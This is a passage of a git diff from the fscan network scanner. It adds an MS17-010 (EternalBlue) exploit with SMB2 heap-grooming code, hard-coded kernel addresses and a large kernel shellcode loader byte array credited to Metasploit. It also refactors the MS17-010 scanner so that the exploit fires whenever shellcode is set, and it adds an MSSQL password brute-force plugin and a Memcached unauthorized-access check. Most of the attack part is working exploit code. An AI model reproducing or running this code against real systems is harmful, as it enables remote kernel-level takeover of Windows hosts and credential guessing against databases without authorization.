0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeSessionSetupFreeHoleRequest 写入会话设置请求 +func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) { + // 字段数 + buf.WriteByte(0x0C) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x00, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write(vcNum) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 安全数据长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // 字节数 + buf.Write([]byte{0x16, 0x00}) + // 原生操作系统 + buf.Write(nativeOS) + // 额外参数 + buf.Write(makeZero(17)) +} + +// smb2Grooms 创建多个SMB2连接 +func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + // 创建SMB2头 + header := makeSMB2Header() + + var ( + conns []net.Conn + ok bool + ) + + // 失败时关闭所有连接 + defer func() { + if ok { + return + } + for _, conn := range conns { + _ = conn.Close() + } + }() + + // 建立多个连接 + for i := 0; i < grooms; i++ { + // 创建TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + } + + // 发送SMB2头 + if _, err = conn.Write(header); err != nil { + return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) + } + + conns = append(conns, conn) + } + + ok = true + return conns, nil +} + +const ( + packetMaxLen = 4204 // 数据包最大长度 + packetSetupLen = 497 // 数据包设置部分长度 +) + +// makeSMB2Header 创建SMB2协议头 +func makeSMB2Header() []byte { + buf := bytes.Buffer{} + + // SMB2协议标识 + buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) + buf.WriteString("SMB") + + // 填充剩余字节 + buf.Write(makeZero(124)) + + return buf.Bytes() +} + +// makeSMB2Body 创建SMB2协议体 +func makeSMB2Body(payload []byte) []byte { + const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度 + buf := bytes.Buffer{} + + // 写入填充数据 + writePaddingData(&buf) + + // 写入KI_USER_SHARED_DATA地址 + writeSharedDataAddresses(&buf) + + // 写入负载地址和相关数据 + writePayloadAddresses(&buf) + + // 写入负载数据 + buf.Write(payload) + + // 填充剩余空间(可随机生成) + buf.Write(makeZero(packetMaxPayload - len(payload))) + + return buf.Bytes() +} + +// writePaddingData 写入填充数据 +func writePaddingData(buf *bytes.Buffer) { + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) +} + +// writeSharedDataAddresses 写入共享数据地址 +func writeSharedDataAddresses(buf *bytes.Buffer) { + // x64地址 + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + + // x86地址 + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) +} + +// writePayloadAddresses 写入负载地址和相关数据 +func writePayloadAddresses(buf *bytes.Buffer) { + // 负载地址 + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + // 附加数据 + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) +} + +// makeZero 创建指定大小的零值字节切片 +func makeZero(size int) []byte { + return bytes.Repeat([]byte{0}, size) +} + +// loader 用于在内核模式下运行用户模式shellcode的加载器 +// 参考自Metasploit-Framework: +// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +var loader = [...]byte{ + 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, + 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, + 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, + 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, + 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, + 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, + 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, + 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, + 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, + 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, + 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, + 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, + 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, + 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, + 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, + 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, + 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, + 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, + 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, + 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, + 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, + 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, + 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, + 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, + 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, + 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, + 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, + 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, + 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, + 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, + 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, + 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, + 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, + 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, + 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, + 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, + 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, + 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, + 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, + 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, + 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, + 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, + 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, + 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, + 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, + 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, + 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, + 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, + 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, + 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, + 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, + 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, + 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, + 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, +} diff --git a/Plugins/ms17010.go b/Plugins/MS17010.go similarity index 52% rename from Plugins/ms17010.go rename to Plugins/MS17010.go index feb53e7c..45b18fc3 100644 --- a/Plugins/ms17010.go +++ b/Plugins/MS17010.go @@ -5,91 +5,154 @@ import ( "encoding/hex" "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" + "log" "strings" "time" ) var ( + // SMB协议加密的请求数据 negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" - negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key)) - sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key)) - treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key)) - transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key)) - trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) + + // SMB协议解密后的请求数据 + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) -func MS17010(info *common.HostInfo) error { - if common.IsBrute { +func init() { + var err error + + // 解密协议请求 + decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) + if err != nil { + log.Fatalf("解密协议请求失败: %v", err) + } + negotiateProtocolRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码协议请求失败: %v", err) + } + + // 解密会话请求 + decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话请求失败: %v", err) + } + sessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话请求失败: %v", err) + } + + // 解密连接请求 + decrypted, err = AesDecrypt(treeConnectRequest_enc, key) + if err != nil { + log.Fatalf("解密连接请求失败: %v", err) + } + treeConnectRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码连接请求失败: %v", err) + } + + // 解密管道请求 + decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) + if err != nil { + log.Fatalf("解密管道请求失败: %v", err) + } + transNamedPipeRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码管道请求失败: %v", err) + } + + // 解密会话设置请求 + decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话设置请求失败: %v", err) + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话设置请求失败: %v", err) + } +} + +// MS17010 扫描入口函数 +func MS17010(info *Common.HostInfo) error { + // 暴力破解模式下跳过扫描 + if Common.IsBrute { return nil } + + // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { - errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) - common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } return err } -func MS17010Scan(info *common.HostInfo) error { +// MS17010Scan 执行MS17-010漏洞扫描 +func MS17010Scan(info *Common.HostInfo) error { ip := info.Host - // connecting to a host in LAN if reachable should be very quick - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) + + // 连接目标445端口 + conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) return err } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { return err } - _, err = conn.Write(negotiateProtocolRequest) - if err != nil { + + // 发送SMB协议协商请求 + if _, err = conn.Write(negotiateProtocolRequest); err != nil { return err } + + // 读取响应 reply := make([]byte, 1024) - // let alone half packet if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查协议响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 return err } - _, err = conn.Write(sessionSetupRequest) - if err != nil { + // 发送会话建立请求 + if _, err = conn.Write(sessionSetupRequest); err != nil { return err } + + // 读取响应 n, err := conn.Read(reply) if err != nil || n < 36 { return err } + // 检查会话响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 - //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) - var Err = errors.New("can't determine whether target is vulnerable or not") - return Err + return errors.New("无法确定目标是否存在漏洞") } - // extract OS info + // 提取操作系统信息 var os string sessionSetupResponse := reply[36:n] if wordCount := sessionSetupResponse[0]; wordCount != 0 { - // find byte count byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response") + fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) } else { - // two continous null bytes indicates end of a unicode string + // 查找Unicode字符串结束标记(两个连续的0字节) for i := 10; i < len(sessionSetupResponse)-1; i++ { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { os = string(sessionSetupResponse[10:i]) @@ -98,68 +161,71 @@ func MS17010Scan(info *common.HostInfo) error { } } } - } + + // 获取用户ID userID := reply[32:34] treeConnectRequest[32] = userID[0] treeConnectRequest[33] = userID[1] - // TODO change the ip in tree path though it doesn't matter - _, err = conn.Write(treeConnectRequest) - if err != nil { + + // 发送树连接请求 + if _, err = conn.Write(treeConnectRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 获取树ID并设置后续请求 treeID := reply[28:30] transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[33] = userID[1] - _, err = conn.Write(transNamedPipeRequest) - if err != nil { + // 发送命名管道请求 + if _, err = conn.Write(transNamedPipeRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查漏洞状态 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} - result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os) - common.LogSuccess(result) + // 目标存在MS17-010漏洞 + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) + + // 如果指定了shellcode,执行漏洞利用 defer func() { - if common.SC != "" { + if Common.SC != "" { MS17010EXP(info) } }() - // detect present of DOUBLEPULSAR SMB implant + + // 检测DOUBLEPULSAR后门 trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[33] = userID[1] - _, err = conn.Write(trans2SessionSetupRequest) - if err != nil { + if _, err = conn.Write(trans2SessionSetupRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } if reply[34] == 0x51 { - result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip) - common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) } - } else { - result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os) - common.LogSuccess(result) + // 未检测到漏洞,仅输出系统信息 + Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) } - return err + return err } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go new file mode 100644 index 00000000..d69bafa3 --- /dev/null +++ b/Plugins/MSSQL.go @@ -0,0 +1,81 @@ +package Plugins + +import ( + "database/sql" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// MssqlScan 执行MSSQL服务扫描 +func MssqlScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["mssql"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := MssqlConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// MssqlConn 尝试MSSQL连接 +func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", + host, username, password, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mssql", connStr) + if err != nil { + return false, err + } + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil +} diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go new file mode 100644 index 00000000..c086da09 --- /dev/null +++ b/Plugins/Memcached.go @@ -0,0 +1,48 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// MemcachedScan 检测Memcached未授权访问 +func MemcachedScan(info *Common.HostInfo) error { + realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + timeout := time.Duration(Common.Timeout) * time.Second + + // 建立TCP连接 + client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout) + if err != nil { + return err + } + defer client.Close() + + // 设置超时时间 + if err := client.SetDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 发送stats命令 + if _, err := client.Write([]byte("stats\n")); err != nil { + return err + } + + // 读取响应 + rev := make([]byte, 1024) + n, err := client.Read(rev) + if err != nil { + errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) + Common.LogError(errlog) + return err + } + + // 检查响应内容 + if strings.Contains(string(rev[:n]), "STAT") { + result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) + Common.LogSuccess(result) + } + + return nil +} diff --git a/Plugins/mongodb.go b/Plugins/Mongodb.go similarity index 51% rename from Plugins/mongodb.go rename to Plugins/Mongodb.go index 947137a8..38a61ef1 100644 --- a/Plugins/mongodb.go +++ b/Plugins/Mongodb.go @@ -2,27 +2,85 